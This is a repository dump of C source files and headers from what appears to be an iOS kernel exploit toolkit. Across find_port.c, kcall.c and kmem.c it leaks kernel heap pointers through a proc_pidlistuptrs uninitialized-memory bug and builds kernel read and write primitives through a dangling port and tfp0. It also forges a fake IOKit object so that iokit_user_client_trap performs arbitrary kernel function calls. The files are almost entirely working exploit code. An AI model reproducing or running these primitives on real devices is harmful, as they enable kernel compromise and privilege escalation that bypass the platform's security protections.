| 19 | // missing headers 20 | #define KEVENT_FLAG_WORKLOOP 0x400 21 | 22 | typedef uint64_t kqueue_id_t; 23 | 24 | struct kevent_qos_s { 25 | uint64_t ident; /* identifier for this event */ 26 | int16_t filter; /* filter for event */ 27 | uint16_t flags; /* general flags */ 28 | uint32_t qos; /* quality of service when servicing event */ 29 | uint64_t udata; /* opaque user data identifier */ 30 | uint32_t fflags; /* filter-specific flags */ 31 | uint32_t xflags; /* extra filter-specific flags */ 32 | int64_t data; /* filter-specific data */ 33 | uint64_t ext[4]; /* filter-specific extensions */ 34 | }; 35 | 36 | #define PRIVATE 37 | #include 38 | #include 39 | #include 40 | #include 41 | 42 | struct kevent_extinfo { 43 | struct kevent_qos_s kqext_kev; 44 | uint64_t kqext_sdata; 45 | int kqext_status; 46 | int kqext_sfflags; 47 | uint64_t kqext_reserved[2]; 48 | }; 49 | 50 | extern int kevent_id(uint64_t id, const struct kevent_qos_s *changelist, int nchanges, struct kevent_qos_s *eventlist, int nevents, void *data_out, size_t *data_available, unsigned int flags); 51 | 52 | int proc_list_uptrs(pid_t pid, uint64_t *buffer, uint32_t buffersize); 53 | 54 | // appends n_events user events onto this process's kevent queue 55 | static void fill_events(int n_events) { 56 | struct kevent_qos_s events_id[] = {{ 57 | .filter = EVFILT_USER, 58 | .ident = 1, 59 | .flags = EV_ADD, 60 | .udata = 0x2345 61 | }}; 62 | 63 | kqueue_id_t id = 0x1234; 64 | 65 | for (int i = 0; i < n_events; i++) { 66 | int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL, 67 | KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE); 68 | 69 | if (err != 0) { 70 | printf(" [-] failed to enqueue user event\n"); 71 | exit(EXIT_FAILURE); 72 | } 73 | 74 | events_id[0].ident++; 75 | } 76 | } 77 | 78 | int kqueues_allocated = 0; 79 | 80 | static void prepare_kqueue() { 81 | // ensure there are a large number of events so that kevent_proc_copy_uptrs 82 | // always returns a large number 83 | if (kqueues_allocated) { 84 | return; 85 | } 86 | fill_events(10000); 87 | printf(" [+] prepared kqueue\n"); 88 | kqueues_allocated = 1; 89 | } 90 | 91 | // will make a kalloc allocation of (count*8)+7 92 | // and only write to the first (count*8) bytes. 93 | // the return value is those last 7 bytes uninitialized bytes as a uint64_t 94 | // (the upper byte will be set to 0) 95 | static uint64_t try_leak(int count) { 96 | int buf_size = (count*8)+7; 97 | char* buf = calloc(buf_size+1, 1); 98 | 99 | int err = proc_list_uptrs(getpid(), (void*)buf, buf_size); 100 | 101 | if (err == -1) { 102 | return 0; 103 | } 104 | 105 | // the last 7 bytes will contain the leaked data: 106 | uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc 107 | 108 | return last_val; 109 | } 110 | 111 | struct ool_msg { 112 | mach_msg_header_t hdr; 113 | mach_msg_body_t body; 114 | mach_msg_ool_ports_descriptor_t ool_ports; 115 | }; 116 | 117 | // fills a kalloc allocation with count times of target_port's struct ipc_port pointer 118 | // To cause the kalloc allocation to be free'd mach_port_destroy the returned receive right 119 | static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) { 120 | // allocate a port to send the message to 121 | mach_port_t q = MACH_PORT_NULL; 122 | kern_return_t err; 123 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q); 124 | if (err != KERN_SUCCESS) { 125 | printf(" [-] failed to allocate port\n"); 126 | exit(EXIT_FAILURE); 127 | } 128 | 129 | mach_port_t* ports = malloc(sizeof(mach_port_t) * count); 130 | for (int i = 0; i < count; i++) { 131 | ports[i] = target_port; 132 | } 133 | 134 | struct ool_msg* msg = calloc(1, sizeof(struct ool_msg)); 135 | 136 | msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 137 | msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg); 138 | msg->hdr.msgh_remote_port = q; 139 | msg->hdr.msgh_local_port = MACH_PORT_NULL; 140 | msg->hdr.msgh_id = 0x41414141; 141 | 142 | msg->body.msgh_descriptor_count = 1; 143 | 144 | msg->ool_ports.address = ports; 145 | msg->ool_ports.count = count; 146 | msg->ool_ports.deallocate = 0; 147 | msg->ool_ports.disposition = disposition; 148 | msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; 149 | msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY; 150 | 151 | err = mach_msg(&msg->hdr, 152 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 153 | (mach_msg_size_t)sizeof(struct ool_msg), 154 | 0, 155 | MACH_PORT_NULL, 156 | MACH_MSG_TIMEOUT_NONE, 157 | MACH_PORT_NULL); 158 | 159 | if (err != KERN_SUCCESS) { 160 | printf(" [-] failed to send message: %s\n", mach_error_string(err)); 161 | exit(EXIT_FAILURE); 162 | } 163 | 164 | return q; 165 | } 166 | 167 | static int uint64_t_compare(const void* a, const void* b) { 168 | uint64_t a_val = (*(uint64_t*)a); 169 | uint64_t b_val = (*(uint64_t*)b); 170 | if (a_val < b_val) { 171 | return -1; 172 | } 173 | if (a_val == b_val) { 174 | return 0; 175 | } 176 | return 1; 177 | } 178 | 179 | uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition) { 180 | prepare_kqueue(); 181 | 182 | int n_guesses = 100; 183 | uint64_t* guesses = calloc(1, n_guesses*sizeof(uint64_t)); 184 | int valid_guesses = 0; 185 | 186 | for (int i = 1; i < n_guesses+1; i++) { 187 | mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition); 188 | mach_port_destroy(mach_task_self(), q); 189 | uint64_t leaked = try_leak(i-1); 190 | //printf("leaked %016llx\n", leaked); 191 | 192 | // a valid guess is one which looks a bit like a kernel heap pointer 193 | // without the upper byte: 194 | if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) { 195 | guesses[valid_guesses++] = leaked | 0xff00000000000000; 196 | } 197 | } 198 | 199 | if (valid_guesses == 0) { 200 | printf(" [-] couldn't leak any kernel pointers\n"); 201 | exit(EXIT_FAILURE); 202 | } 203 | 204 | // return the most frequent guess 205 | qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare); 206 | 207 | uint64_t best_guess = guesses[0]; 208 | int best_guess_count = 1; 209 | 210 | uint64_t current_guess = guesses[0]; 211 | int current_guess_count = 1; 212 | for (int i = 1; i < valid_guesses; i++) { 213 | if (guesses[i] == guesses[i-1]) { 214 | current_guess_count++; 215 | if (current_guess_count > best_guess_count) { 216 | best_guess = current_guess; 217 | best_guess_count = current_guess_count; 218 | } 219 | } else { 220 | current_guess = guesses[i]; 221 | current_guess_count = 1; 222 | } 223 | } 224 | 225 | //printf("best guess is: 0x%016llx with %d%% of the valid guesses for it\n", best_guess, (best_guess_count*100)/valid_guesses); 226 | 227 | free(guesses); 228 | 229 | return best_guess; 230 | } 231 | 232 | uint64_t find_port_via_kmem_read(mach_port_name_t port) { 233 | uint64_t task_port_addr = task_self_addr(); 234 | 235 | uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 236 | 237 | uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); 238 | 239 | uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); 240 | 241 | uint32_t port_index = port >> 8; 242 | const int sizeof_ipc_entry_t = 0x18; 243 | 244 | uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t)); 245 | return port_addr; 246 | } 247 | 248 | uint64_t find_port_address(mach_port_t port, int disposition) { 249 | if (have_kmem_read()) { 250 | return find_port_via_kmem_read(port); 251 | } 252 | return find_port_via_proc_pidlistuptrs_bug(port, disposition); 253 | } 254 | -------------------------------------------------------------------------------- /Files/find_port.h: -------------------------------------------------------------------------------- 1 | #ifndef find_port_h 2 | #define find_port_h 3 | 4 | #include 5 | 6 | uint64_t find_port_address(mach_port_t port, int disposition); 7 | 8 | #endif /* find_port_h */ 9 | -------------------------------------------------------------------------------- /Files/kcall.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "kcall.h" 8 | #include "kmem.h" 9 | #include "find_port.h" 10 | #include "kutils.h" 11 | #include "symbols.h" 12 | #include "early_kalloc.h" 13 | 14 | 15 | 16 | extern uint64_t 17 | iokit_user_client_trap( 18 | mach_port_t connect, 19 | unsigned int index, 20 | uintptr_t p1, 21 | uintptr_t p2, 22 | uintptr_t p3, 23 | uintptr_t p4, 24 | uintptr_t p5, 25 | uintptr_t p6 ); 26 | 27 | #if 0 28 | // OSSerializer::Serialize method 29 | // lets you pass two uint64_t arguments 30 | // no return value 31 | 32 | // a simple IOKit mig method 33 | extern void IOIteratorReset(mach_port_t port); 34 | 35 | struct fake_iokit_obj { 36 | uint64_t vtable; 37 | uint64_t refcount; // vtable +0x00 38 | uint64_t arg0; // vtable +0x08 39 | uint64_t arg1; // vtable +0x10 40 | uint64_t fptr; // vtable +0x18 41 | uint64_t retain; // vtable +0x20 42 | uint64_t release; // vtable +0x28 43 | uint64_t ign; // vtable +0x30 44 | uint64_t get_meta_class; // vtable +0x38 45 | }; 46 | 47 | // call fptr in the context of the current thread passing arg0 and arg1 48 | // uses the serializer gadget 49 | void kcall(uint64_t fptr, uint64_t arg0, uint64_t arg1) { 50 | // allocate some memory to hold a fake iokit object: 51 | uint64_t obj_kaddr = kmem_alloc(sizeof(struct fake_iokit_obj)+0x800); 52 | 53 | // fill in the fields: 54 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, vtable), obj_kaddr+0x08); // point this to the next field 55 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, refcount), 0x2017); 56 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, arg0), arg0); 57 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, arg1), arg1); 58 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, fptr), fptr); 59 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, retain), ksym(KSYMBOL_RET)); 60 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, release), ksym(KSYMBOL_OSSERIALIZER_SERIALIZE)); 61 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, ign), 0); 62 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, get_meta_class), ksym(KSYMBOL_OSARRAY_GET_META_CLASS)); 63 | for (int i = 1; i < 0xff; i++) { 64 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, get_meta_class) + (i*8), 0x1010101010101000+(i*4)); 65 | } 66 | 67 | // allocate a port 68 | mach_port_t port = MACH_PORT_NULL; 69 | kern_return_t err; 70 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 71 | if (err != KERN_SUCCESS) { 72 | printf("failed to allocate port\n"); 73 | return; 74 | } 75 | 76 | // get a send right 77 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); 78 | 79 | // locate the port 80 | uint64_t port_addr = find_port_address(port, MACH_MSG_TYPE_COPY_SEND); 81 | 82 | // change the type of the port 83 | #define IKOT_IOKIT_OBJECT 30 84 | #define IO_ACTIVE 0x80000000 85 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_IOKIT_OBJECT); 86 | 87 | // cache the current space: 88 | uint64_t original_space = rk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)); 89 | 90 | // change the space of the port 91 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel()); 92 | 93 | // set the kobject 94 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), obj_kaddr); 95 | 96 | // call an iokit method 97 | IOIteratorReset(port); 98 | 99 | // clear the kobject 100 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0); 101 | 102 | // reset the space 103 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), original_space); 104 | 105 | // reset the type 106 | #define IKOT_NONE 0 107 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_NONE); 108 | 109 | // release the port 110 | mach_port_destroy(mach_task_self(), port); 111 | 112 | // free the fake object 113 | kmem_free(obj_kaddr, sizeof(struct fake_iokit_obj)+0x800); 114 | } 115 | 116 | void test_kcall() { 117 | uint64_t test_buf = kmem_alloc(0x20); 118 | wk64(test_buf, 0x4141414141414141); 119 | wk64(test_buf+8, 0); 120 | kcall(ksym(KSYMBOL_UUID_COPY), test_buf+8, test_buf); 121 | uint64_t read_val = rk64(test_buf+8); 122 | printf("read_val: %llx\n", read_val); 123 | kmem_free(test_buf, 0x20); 124 | } 125 | #endif 126 | 127 | /* 128 | __TEXT_EXEC:__text:FFFFFFF0073EB130 _csblob_get_cdhash ; DATA XREF: com.apple.driver.AppleMobileFileIntegrity:__got:AppleMobileFileIntegrity_GOT__csblob_get_cdhasho 129 | __TEXT_EXEC:__text:FFFFFFF0073EB130 ; com.apple.security.sandbox:__got:sandbox_GOT__csblob_get_cdhasho 130 | __TEXT_EXEC:__text:FFFFFFF0073EB130 ADD X0, X0, #0x40 131 | __TEXT_EXEC:__text:FFFFFFF0073EB134 RET 132 | */ 133 | 134 | mach_port_t arbitrary_call_port = MACH_PORT_NULL; 135 | uint64_t obj_kaddr = 0; 136 | 137 | // the iokit_user_client_trap method. 138 | // this lets you pass up to 7 uint64_t arguments 139 | // the return value will be truncated to 32-bits 140 | // see arm_set_mach_syscall_ret for why: 141 | // static void 142 | // arm_set_mach_syscall_ret(struct arm_saved_state *state, int retval) 143 | // { 144 | // if (is_saved_state32(state)) { 145 | // saved_state32(state)->r[0] = retval; 146 | // } else { 147 | // saved_state64(state)->x[0] = retval; 148 | // } 149 | // } 150 | // that compiles to: 151 | // STR W20, [X19,#8] <-- 32-bit store 152 | 153 | uint64_t kcall(uint64_t fptr, uint32_t argc, ...) { 154 | uint64_t args[7] = {0}; 155 | va_list ap; 156 | va_start(ap, argc); 157 | 158 | if (argc > 7) { 159 | printf("too many arguments to kcall\n"); 160 | return 0; 161 | } 162 | 163 | for (int i = 0; i < argc; i++){ 164 | args[i] = va_arg(ap, uint64_t); 165 | } 166 | 167 | va_end(ap); 168 | 169 | if (arbitrary_call_port == MACH_PORT_NULL) { 170 | // build the object: 171 | // allocate some memory to hold a fake iokit object: 172 | obj_kaddr = early_kalloc(0x1000); 173 | printf("kcall object allocated via early_kalloc at %llx\n", obj_kaddr); 174 | 175 | // fill in the fields: 176 | wk64(obj_kaddr + 0, obj_kaddr+0x800); // vtable pointer 177 | 178 | // IOExternalTrap 179 | wk64(obj_kaddr + 0x50, 0); // the function pointer is actually a pointer-to-member-method, so needs a 0 here too 180 | // see this old bug where I discuss pointer-to-member-methods: 181 | // https://bugs.chromium.org/p/project-zero/issues/detail?id=20 182 | 183 | wk32(obj_kaddr + 0x9c, 0x1234); // __ipc 184 | 185 | // vtable: 186 | wk64(obj_kaddr + 0x800 + 0x20, ksym(KSYMBOL_RET)); // vtable::retain 187 | wk64(obj_kaddr + 0x800 + 0x28, ksym(KSYMBOL_RET)); // vtable::release 188 | wk64(obj_kaddr + 0x800 + 0x38, ksym(KSYMBOL_IOUSERCLIENT_GET_META_CLASS)); // vtable::getMetaClass 189 | wk64(obj_kaddr + 0x800 + 0x5b8, ksym(KSYMBOL_CSBLOB_GET_CD_HASH)); // vtable::getExternalTrapForIndex 190 | wk64(obj_kaddr + 0x800 + 0x5c0, ksym(KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX)); 191 | 192 | // allocate a port 193 | kern_return_t err; 194 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &arbitrary_call_port); 195 | if (err != KERN_SUCCESS) { 196 | printf("failed to allocate port\n"); 197 | return 0; 198 | } 199 | 200 | // get a send right 201 | mach_port_insert_right(mach_task_self(), arbitrary_call_port, arbitrary_call_port, MACH_MSG_TYPE_MAKE_SEND); 202 | 203 | // locate the port 204 | uint64_t port_addr = find_port_address(arbitrary_call_port, MACH_MSG_TYPE_COPY_SEND); 205 | 206 | // change the type of the port 207 | #define IKOT_IOKIT_CONNECT 29 208 | #define IO_ACTIVE 0x80000000 209 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_IOKIT_CONNECT); 210 | 211 | // cache the current space: 212 | //uint64_t original_space = rk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)); 213 | 214 | // change the space of the port 215 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel()); 216 | 217 | // set the kobject 218 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), obj_kaddr); 219 | } 220 | 221 | // put arg0 and the function pointer in the right place 222 | wk64(obj_kaddr + 0x40, args[0]); 223 | wk64(obj_kaddr + 0x48, fptr); 224 | 225 | // call the external trap: 226 | uint64_t return_val = iokit_user_client_trap(arbitrary_call_port, 0, 227 | args[1], 228 | args[2], 229 | args[3], 230 | args[4], 231 | args[5], 232 | args[6]); 233 | 234 | printf("return val %llx\n", return_val); 235 | 236 | #if 0 237 | // clear the kobject 238 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0); 239 | 240 | // reset the space 241 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), original_space); 242 | 243 | // reset the type 244 | #define IKOT_NONE 0 245 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_NONE); 246 | 247 | // release the port 248 | mach_port_destroy(mach_task_self(), port); 249 | #endif 250 | 251 | return return_val; 252 | } 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | -------------------------------------------------------------------------------- /Files/kcall.h: -------------------------------------------------------------------------------- 1 | #ifndef kcall_h 2 | #define kcall_h 3 | 4 | void kprintstr(char* msg); 5 | void test_kcall(void); 6 | //void kcall(uint64_t fptr, uint64_t arg0, uint64_t arg1); 7 | uint64_t kcall(uint64_t fptr, uint32_t argc, ...); 8 | #endif 9 | -------------------------------------------------------------------------------- /Files/kdbg.h: -------------------------------------------------------------------------------- 1 | #ifndef kdbg_h 2 | #define kdbg_h 3 | 4 | void test_kernel_bp(void); 5 | uint64_t pin_current_thread(void); 6 | void test_kdbg(void); 7 | void test_fp(void); 8 | 9 | #endif 10 | -------------------------------------------------------------------------------- /Files/kmem.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | 7 | #include "kmem.h" 8 | #include "kutils.h" 9 | 10 | /***** mach_vm.h *****/ 11 | kern_return_t mach_vm_read( 12 | vm_map_t target_task, 13 | mach_vm_address_t address, 14 | mach_vm_size_t size, 15 | vm_offset_t *data, 16 | mach_msg_type_number_t *dataCnt); 17 | 18 | kern_return_t mach_vm_write( 19 | vm_map_t target_task, 20 | mach_vm_address_t address, 21 | vm_offset_t data, 22 | mach_msg_type_number_t dataCnt); 23 | 24 | kern_return_t mach_vm_read_overwrite( 25 | vm_map_t target_task, 26 | mach_vm_address_t address, 27 | mach_vm_size_t size, 28 | mach_vm_address_t data, 29 | mach_vm_size_t *outsize); 30 | 31 | kern_return_t mach_vm_allocate( 32 | vm_map_t target, 33 | mach_vm_address_t *address, 34 | mach_vm_size_t size, 35 | int flags); 36 | 37 | kern_return_t mach_vm_deallocate ( 38 | vm_map_t target, 39 | mach_vm_address_t address, 40 | mach_vm_size_t size); 41 | 42 | kern_return_t mach_vm_protect ( 43 | vm_map_t target_task, 44 | mach_vm_address_t address, 45 | mach_vm_size_t size, 46 | boolean_t set_maximum, 47 | vm_prot_t new_protection); 48 | 49 | // the exploit bootstraps the full kernel memory read/write with a fake 50 | // task which just allows reading via the bsd_info->pid trick 51 | // this first port is kmem_read_port 52 | mach_port_t kmem_read_port = MACH_PORT_NULL; 53 | void prepare_rk_via_kmem_read_port(mach_port_t port) { 54 | kmem_read_port = port; 55 | } 56 | 57 | mach_port_t tfp0 = MACH_PORT_NULL; 58 | void prepare_rwk_via_tfp0(mach_port_t port) { 59 | tfp0 = port; 60 | } 61 | 62 | int have_kmem_read() { 63 | return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL); 64 | } 65 | 66 | int have_kmem_write() { 67 | return (tfp0 != MACH_PORT_NULL); 68 | } 69 | 70 | uint32_t rk32_via_kmem_read_port(uint64_t kaddr) { 71 | kern_return_t err; 72 | if (kmem_read_port == MACH_PORT_NULL) { 73 | printf("kmem_read_port not set, have you called prepare_rk?\n"); 74 | sleep(10); 75 | exit(EXIT_FAILURE); 76 | } 77 | 78 | mach_port_context_t context = (mach_port_context_t)kaddr - 0x10; 79 | err = mach_port_set_context(mach_task_self(), kmem_read_port, context); 80 | if (err != KERN_SUCCESS) { 81 | printf("error setting context off of dangling port: %x %s\n", err, mach_error_string(err)); 82 | sleep(10); 83 | exit(EXIT_FAILURE); 84 | } 85 | 86 | // now do the read: 87 | uint32_t val = 0; 88 | err = pid_for_task(kmem_read_port, (int*)&val); 89 | if (err != KERN_SUCCESS) { 90 | printf("error calling pid_for_task %x %s", err, mach_error_string(err)); 91 | sleep(10); 92 | exit(EXIT_FAILURE); 93 | } 94 | 95 | return val; 96 | } 97 | 98 | uint32_t rk32_via_tfp0(uint64_t kaddr) { 99 | kern_return_t err; 100 | uint32_t val = 0; 101 | mach_vm_size_t outsize = 0; 102 | 103 | err = mach_vm_read_overwrite(tfp0, 104 | (mach_vm_address_t)kaddr, 105 | (mach_vm_size_t)sizeof(uint32_t), 106 | (mach_vm_address_t)&val, 107 | &outsize); 108 | if (err != KERN_SUCCESS){ 109 | printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0); 110 | sleep(3); 111 | return 0; 112 | } 113 | 114 | if (outsize != sizeof(uint32_t)){ 115 | printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize); 116 | sleep(3); 117 | return 0; 118 | } 119 | return val; 120 | } 121 | 122 | uint32_t rk32(uint64_t kaddr) { 123 | if (tfp0 != MACH_PORT_NULL) { 124 | return rk32_via_tfp0(kaddr); 125 | } 126 | 127 | if (kmem_read_port != MACH_PORT_NULL) { 128 | return rk32_via_kmem_read_port(kaddr); 129 | } 130 | 131 | printf("attempt to read kernel memory but no kernel memory read primitives available\n"); 132 | sleep(3); 133 | 134 | return 0; 135 | } 136 | 137 | uint64_t rk64(uint64_t kaddr) { 138 | uint64_t lower = rk32(kaddr); 139 | uint64_t higher = rk32(kaddr+4); 140 | uint64_t full = ((higher<<32) | lower); 141 | return full; 142 | } 143 | 144 | void wkbuffer(uint64_t kaddr, void* buffer, uint32_t length) { 145 | if (tfp0 == MACH_PORT_NULL) { 146 | printf("attempt to write to kernel memory before any kernel memory write primitives available\n"); 147 | sleep(3); 148 | return; 149 | } 150 | 151 | kern_return_t err; 152 | err = mach_vm_write(tfp0, 153 | (mach_vm_address_t)kaddr, 154 | (vm_offset_t)buffer, 155 | (mach_msg_type_number_t)length); 156 | 157 | if (err != KERN_SUCCESS) { 158 | printf("tfp0 write failed: %s %x\n", mach_error_string(err), err); 159 | return; 160 | } 161 | } 162 | 163 | void rkbuffer(uint64_t kaddr, void* buffer, uint32_t length) { 164 | kern_return_t err; 165 | uint32_t val = 0; 166 | mach_vm_size_t outsize = 0; 167 | err = mach_vm_read_overwrite(tfp0, 168 | (mach_vm_address_t)kaddr, 169 | (mach_vm_size_t)length, 170 | (mach_vm_address_t)buffer, 171 | &outsize); 172 | if (err != KERN_SUCCESS){ 173 | printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0); 174 | sleep(3); 175 | return; 176 | } 177 | 178 | if (outsize != length){ 179 | printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize); 180 | sleep(3); 181 | return; 182 | } 183 | } 184 | 185 | const uint64_t kernel_address_space_base = 0xffff000000000000; 186 | void kmemcpy(uint64_t dest, uint64_t src, uint32_t length) { 187 | if (dest >= kernel_address_space_base) { 188 | // copy to kernel: 189 | wkbuffer(dest, (void*) src, length); 190 | } else { 191 | // copy from kernel 192 | rkbuffer(src, (void*)dest, length); 193 | } 194 | } 195 | 196 | void wk32(uint64_t kaddr, uint32_t val) { 197 | if (tfp0 == MACH_PORT_NULL) { 198 | printf("attempt to write to kernel memory before any kernel memory write primitives available\n"); 199 | sleep(3); 200 | return; 201 | } 202 | 203 | kern_return_t err; 204 | err = mach_vm_write(tfp0, 205 | (mach_vm_address_t)kaddr, 206 | (vm_offset_t)&val, 207 | (mach_msg_type_number_t)sizeof(uint32_t)); 208 | 209 | if (err != KERN_SUCCESS) { 210 | printf("tfp0 write failed: %s %x\n", mach_error_string(err), err); 211 | return; 212 | } 213 | } 214 | 215 | void wk64(uint64_t kaddr, uint64_t val) { 216 | uint32_t lower = (uint32_t)(val & 0xffffffff); 217 | uint32_t higher = (uint32_t)(val >> 32); 218 | wk32(kaddr, lower); 219 | wk32(kaddr+4, higher); 220 | } 221 | 222 | uint64_t kmem_alloc(uint64_t size) { 223 | if (tfp0 == MACH_PORT_NULL) { 224 | printf("attempt to allocate kernel memory before any kernel memory write primitives available\n"); 225 | sleep(3); 226 | return 0; 227 | } 228 | 229 | kern_return_t err; 230 | mach_vm_address_t addr = 0; 231 | mach_vm_size_t ksize = round_page_kernel(size); 232 | err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE); 233 | if (err != KERN_SUCCESS) { 234 | printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err); 235 | sleep(3); 236 | return 0; 237 | } 238 | return addr; 239 | } 240 | 241 | uint64_t kmem_alloc_wired(uint64_t size) { 242 | if (tfp0 == MACH_PORT_NULL) { 243 | printf("attempt to allocate kernel memory before any kernel memory write primitives available\n"); 244 | sleep(3); 245 | return 0; 246 | } 247 | 248 | kern_return_t err; 249 | mach_vm_address_t addr = 0; 250 | mach_vm_size_t ksize = round_page_kernel(size); 251 | 252 | printf("vm_kernel_page_size: %lx\n", vm_kernel_page_size); 253 | 254 | err = mach_vm_allocate(tfp0, &addr, ksize+0x4000, VM_FLAGS_ANYWHERE); 255 | if (err != KERN_SUCCESS) { 256 | printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err); 257 | sleep(3); 258 | return 0; 259 | } 260 | 261 | printf("allocated address: %llx\n", addr); 262 | 263 | addr += 0x3fff; 264 | addr &= ~0x3fffull; 265 | 266 | printf("address to wire: %llx\n", addr); 267 | 268 | err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ|VM_PROT_WRITE); 269 | if (err != KERN_SUCCESS) { 270 | printf("unable to wire kernel memory via tfp0: %s %x\n", mach_error_string(err), err); 271 | sleep(3); 272 | return 0; 273 | } 274 | return addr; 275 | } 276 | 277 | void kmem_free(uint64_t kaddr, uint64_t size) { 278 | return; 279 | if (tfp0 == MACH_PORT_NULL) { 280 | printf("attempt to deallocate kernel memory before any kernel memory write primitives available\n"); 281 | sleep(3); 282 | return; 283 | } 284 | 285 | kern_return_t err; 286 | mach_vm_size_t ksize = round_page_kernel(size); 287 | err = mach_vm_deallocate(tfp0, kaddr, ksize); 288 | if (err != KERN_SUCCESS) { 289 | printf("unable to deallocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err); 290 | sleep(3); 291 | return; 292 | } 293 | } 294 | 295 | void kmem_protect(uint64_t kaddr, uint32_t size, int prot) { 296 | if (tfp0 == MACH_PORT_NULL) { 297 | printf("attempt to change protection of kernel memory before any kernel memory write primitives available\n"); 298 | sleep(3); 299 | return; 300 | } 301 | kern_return_t err; 302 | err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot); 303 | if (err != KERN_SUCCESS) { 304 | printf("unable to change protection of kernel memory via tfp0: %s %x\n", mach_error_string(err), err); 305 | sleep(3); 306 | return; 307 | } 308 | } 309 | -------------------------------------------------------------------------------- /Files/kmem.h: -------------------------------------------------------------------------------- 1 | #ifndef kmem_h 2 | #define kmem_h 3 | 4 | #include 5 | 6 | uint32_t rk32(uint64_t kaddr); 7 | uint64_t rk64(uint64_t kaddr); 8 | 9 | void wk32(uint64_t kaddr, uint32_t val); 10 | void wk64(uint64_t kaddr, uint64_t val); 11 | 12 | void wkbuffer(uint64_t kaddr, void* buffer, uint32_t length); 13 | void rkbuffer(uint64_t kaddr, void* buffer, uint32_t length); 14 | 15 | void kmemcpy(uint64_t dest, uint64_t src, uint32_t length); 16 | 17 | void kmem_protect(uint64_t kaddr, uint32_t size, int prot); 18 | 19 | uint64_t kmem_alloc(uint64_t size); 20 | uint64_t kmem_alloc_wired(uint64_t size); 21 | void kmem_free(uint64_t kaddr, uint64_t size); 22 | 23 | void prepare_rk_via_kmem_read_port(mach_port_t port); 24 | void prepare_rwk_via_tfp0(mach_port_t port); 25 | 26 | // query whether kmem read or write is present 27 | int have_kmem_read(void); 28 | int have_kmem_write(void); 29 | 30 | #endif 31 | -------------------------------------------------------------------------------- 